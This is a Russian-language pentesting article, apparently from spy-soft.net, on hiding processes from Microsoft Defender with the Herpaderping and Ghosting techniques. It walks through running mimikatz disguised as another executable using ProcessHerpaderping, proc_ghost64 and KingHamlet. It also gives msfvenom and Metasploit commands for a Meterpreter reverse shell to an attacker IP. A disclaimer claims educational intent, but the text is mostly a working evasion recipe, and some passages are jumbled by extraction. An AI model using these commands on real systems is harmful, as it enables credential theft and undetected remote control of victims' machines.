Uploaded by Monplaza

Как скрыть процессы от антивирусов (Ghosting и Herpaderping)

advertisement
Как скрыть процессы от антивирусов
 Kozhuh
 Пентест
 1,798
Скрывать процессы от антивирусов — важ­ная задача не толь­ко создателей вирусов (см. также Как
ловят создателей вирусов), но и пен­тесте­ров (этичных хакеров). Для сокрытия процессов сущес­тву­ют
раз­личные способы. В этой статье рас­смот­рим два из них: Herpaderping и Ghosting. О дру­гих
техниках — Hollowing и Doppelgänging — поговорим в отдельной статье.
Еще по теме: Как создать и скрыть вирус для Windows
Как скрыть процессы от антивирусов
В этом примере я буду использовать Microsoft Defender и Mimikatz.

Статья написана в образовательных целях, для обучения этичных хакеров. При
демонстрации работы, были использованы наши собственные устройства.
Использование техник обхода антивирусов на чужих устройствах без надлежащего
письменного разрешения, является незаконным и будет расцениваться, как уголовное
преступление. Ни редак­ция spy-soft.net, ни автор не несут ответс­твен­ность за ваши
действия.
Особенности процессов
Как анти­вирусы узна­ют, что в ОС был запущен какой‑то про­цесс?
Microsoft позволяет раз­работ­чикам анти­вирус­ного ПО получать с помощью API все нуж­ные им
события нап­ример:
PsSetCreateProcessNotifyRoutineEx
Ког­да соз­дает­ся про­цесс, Defender (да и другие антивирусы) сра­зу узна­ет об этом, получая соот­ветс­тву­ющий Callback. Теперь он может анализировать исполня­емый файл и принять решение, раз­решить данный про­цесс или нет (не будем затрагивать тему ста­тичес­кого ана­лиза).
Прикол в том, что уве­дом­ление
CreateProcessNotify
— совсем не про соз­дание про­цес­са. Callback
полетит в тот момент, ког­да внут­ри данного про­цес­са воз­никнет пер­вый поток (thread). В промежуток,

ког­да про­цесс был соз­дан и анти­вирус узнал об этом творчески используется зло­умыш­ленни­ками.
Важно понимать
Для тех, кто не в теме, напомню, что ис­полня­емый файл — это не про­цесс. Исполня­емый файл
может быть свя­зан со различными про­цес­сами (откройте Task Manager и посмотрите, сколь­ко и какие
про­цес­сы свя­заны, нап­ример, с svchost.exe). Все про­цессы всегда будут свя­заны с каким‑нибудь PEфай­лом (.dll, .exe и т.д). А про­цес­сы пре­дос­тавля­ют необходимые ресур­сы, для запуска и выпол­нения
приложений.
Про­цесс содер­жит вир­туаль­ное адресное прос­транс­тво, исполня­емый код, откры­тые дес­крип­торы
для сис­темных объ­ектов, кон­текст безопас­ности, уни­каль­ный иден­тифика­тор про­цес­са, перемен­ные
сре­ды, класс при­ори­тета, минималь­ный и мак­сималь­ный раз­меры рабоче­го мно­жес­тва и как
минимум один поток выпол­нения.
По­ток — это базовая еди­ница, в которой ОС выделя­ет про­цес­сорное вре­мя. Поток может выпол­нять
любую часть кода про­цес­са, вклю­чая час­ти, которые в конкретный момент выпол­няют­ся дру­гим
потоком.
Создание процесса
Рас­смот­рим этапы создания про­цес­са:
1. В начале для исполня­емо­го фай­ла мы получа­ем дес­крип­тор (handle), который запус­каем, нап­ример
таким образом:
hFile = CreateFile(“C:\Windows\System32\svchost.exe”)
2. Соз­дается image section нап­ример:
hSection = NtCreateSection(hFile, SEC_IMAGE)
Image section пред­став­ляет собой осо­бый раз­дел и слу­жит для отоб­ражения фай­ла (или час­ти фай­ла) в память. Раз­дел соот­ветс­тву­ет PE-фай­лам и может быть соз­дан толь­ко в них.
3. Соз­дается про­цесс в image section нап­ример:
hProcess = NtCreateProcessEx(hSection)
4. Наз­нача­ются аргу­мен­ты и перемен­ные сре­ды нап­ример:
CreateEnvironmentBlock/NtWriteVirtualMemory
5. Соз­дается поток для выпол­нения про­цес­са нап­ример:
NtCreateThreadEx
Имейте ввиду: про­цес­сы запус­кают­ся из исполня­емых фай­лов, но информа­ция внут­ри исполня­емо­го
фай­ла может менять­ся отно­ситель­ного того, что находит­ся в image section (так как она кеширу­ется
memory manager).
Сканирование процесса в поисках вредоноса

Как мы уже говорили, анти­виру­сное ПО может получать уве­дом­ления о событи­ях соз­дания про­цес­сов и потоков:
PsSetCreateProcessNotifyRoutineEx
PsSetCreateThreadNotifyRoutineEx
Выг­лядит это дело как-то так:
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
Из инте­рес­ного:
FILE_OBJECT
соот­ветс­тву­ет дес­крип­тору
NtCreateSection
. Если же мы взгля­нем на API
NtCreateProcess, то уви­дим там тоже дес­крип­тор раз­дела, а не фай­ла.
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
_In_ BOOLEAN InheritObjectTable,
_In_opt_ HANDLE SectionHandle,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE ExceptionPort
);
Отличия двух техник
Для прос­тоты я свел отли­чия опи­сыва­емых в статье тех­ник в таб­лицу.
ТЕХ­НИКА
ДЕЙ­СТВИЯ
Hollowing
map → modify section → execute
Doppelgänging
transact → write → map → rollback → execute
Herpaderping
write → map → modify → execute → close
Ghosting
delete pending → write → map → close(delete) → execute
Herpaderping

Нам пот­ребу­ется mimikatz.exe, целевой исполня­емый файл (тут мож­но ука­зывать что угод­но, у нас
это будет hack.exe) и любой файл, не вызыва­ющий подоз­рений у анти­вирус­ных прог­рамм. Раз­берем
методи­ку
Herpaderping по шагам.
1. Write. Соз­даем и откры­ваем hack.exe, копиру­ем в него mimikatz.exe, дес­крип­тор не зак­рыва­ем.
2. Map. Соз­даем
image section
и мапим содер­жимое в память.
3. Modify. Соз­даем про­цесс с дес­крип­тором ранее соз­данно­го раз­дела. Пос­ле это­го меня­ем содер­жимое фай­ла hack.exe, копируя туда что‑нибудь легитим­ное. Пом­ните важ­ный момент из раз­дела
про соз­дание про­цес­са? Так вот это он и есть: с это­го момен­та то, что у нас в памяти, и то, что хра­нит­ся в фай­ле, отли­чает­ся.
4. Execute. Соз­даем
initial thread
. Толь­ко сей­час анти­виру­су летит
process creation callback
. Раз­-
личие содер­жимого в фай­ле и в памяти сво­дит с ума Defender, он не может понять, мож­но ли раз­решать выпол­нение это­го про­цес­са.
5. Close. Зак­рыва­ем откры­тый дес­крип­тор.
Herpaderping на практике
За все­ми дей­стви­ями будет наб­людать пол­ностью обновлен­ный Microsoft Defender. Естес­твен­но,
если дроп­нуть на диск Mimikatz или пей­лоад из MSFvenom в «чис­том» виде, он тут же будет обна­ружен анти­виру­сом. Нам нуж­но обой­ти ста­тичес­кий ана­лиз, но этот этап мы сей­час рас­смат­ривать не
будем.
Microsoft Defender
Клонирум про­ект из GitHub и собира­ем его:
git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping\
git submodule update --init –recursive

Клонируем Herpaderping
Вы­пол­няем коман­ду:
ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe
Вы­пол­нение ProcessHerpaderping.exe
Как мы видим, все выпол­нилось успешно, Defender не сре­аги­ровал. Давайте взгля­нем, что покажет
нам ProcessHacker.
Herpaderping ProcessHacker
У нас исполня­ется не mimikatz.exe, а hack.exe. А еще у нашего при­ложе­ния hack.exe есть сер­тификат,
выдан­ный Microsoft.
У нашего при­ложе­ния есть сер­тификат
Ну а сам hack.exe спо­кой­но лежит на рабочем сто­ле.

Ра­бочий стол
Этот при­ем работа­ет не толь­ко с Mimikatz: давайте проб­росим себе сес­сию Meterpreter. Для это­го сге­нери­руем полез­ную наг­рузку и запус­тим лис­тенер:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=9001 -f exe > met.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.197
set LPORT 9001
exploit
Вы­пол­ним те же дей­ствия и гля­нем, при­лете­ла ли сес­сия.
Вы­пол­нение met.exe

По­лучен­ная сес­сия
Получи­лось!
Ghosting
Для исполь­зования это­го метода нам опять же пот­ребу­ется наш исходный файл (mimikatz.exe) и
целевой исполня­емый файл. В качес­тве таково­го мож­но ука­зывать что угод­но, у нас это будет уже
при­выч­ный нам hack.exe. Как и в прош­лый раз, раз­берем тех­нологию по шагам.
1. Delete pending. Delete Pending — это сос­тояние, при котором файл еще не уда­лен, потому что дес­крип­тор на него открыт. Как толь­ко дес­крип­тор зак­роет­ся, файл уда­лит­ся. Соз­даем файл и перево­дим в сос­тояние
зование
delete-pending
FILE_DELETE_ON_CLOSE
, исполь­зуя NtSetInformationFile (FileDispositionInformation). Исполь­-
не уда­лит файл.
2. Write. Копиру­ем наш исходный исполня­емый файл в соз­данный файл. Содер­жимое не сох­раня­ется, так как файл находит­ся в сос­тоянии
delete-pending
. Так­же это сос­тояние бло­киру­ет попыт­ки
открыть файл извне.
3. Map. Соз­даем
image section
и мапим содер­жимое в память.
4. Сlose(delete). Зак­рыва­ем дес­крип­тор, файл уда­ляет­ся.
5. Execute. Соз­даем про­цесс с дес­крип­тором ранее соз­данно­го раз­дела. Соз­даем
этот момент анти­виру­су нап­равля­ется
открыть его завер­шится с ошиб­кой
process creation callback
STATUS_FILE_DELETED
initial thread
.В
, но файл уже уда­лен. Попыт­ка
. Если поп­робовать открыть файл до того, как
он будет уда­лен, получите ту же самую ошиб­ку.
Ghosting на практике
Клонирум про­ект и собира­ем. Либо кача­ем уже соб­ранный про­ект из GitHub.
Вы­пол­няем коман­ду:
proc_ghost64.exe mimikatz.exe hack.exe

Вы­пол­нение proc_ghost64.exe
Как мы видим, сно­ва все выпол­нилось успешно и Defender не сре­аги­ровал. Теперь давайте оце­ним
информа­цию, которую пре­дос­тавит нам ProcessHacker.
ProcessHacker
Сто­ит обра­тить вни­мание на еще один инс­тру­мент, который реали­зует дан­ную тех­нику, —
KingHamlet. Он так­же реали­зует воз­можнос­ти крип­тования исходно­го пей­лоада:
KingHamlet.exe mimikatz.exe key
KingHamlet
А
process ghosting
исполь­зует­ся на сле­дующем шаге:
KingHamlet.exe mimikatz.exe.khe key hack.exe

KingHamlet
KingHamlet так­же отра­ботал успешно. В ProcessHacker мы уви­дим сле­дующее.
ProcessHacker пос­ле при­мене­ния KingHamlet
Заключение
По­веде­ние Microsoft по отно­шению к опи­сан­ным в этой статье методам не до кон­ца понят­но. То ком­пания заяв­ляет, что выпус­тила зак­рыва­ющий патч, то Microsoft Security Response Center (MSRC)
неожи­дан­но сооб­щает: проб­лема не соот­ветс­тву­ет кри­тери­ям, тре­бующим выпус­тить обновле­ние
безопас­ности или инс­трук­ции по пре­дот­вра­щению атак.
Но как видим, пока эти механиз­мы работа­ют без каких‑либо труд­ностей, глав­ное — обой­ти ста­тичес­кий ана­лиз.
Полезные ссылки:
Как обойти антивирус с помощью Chimera
Как хакеры скрывают вирусы в документах Office
ВКонтакте8
Twitter
Facebook
OK
Telegram
WhatsApp
Viber

Download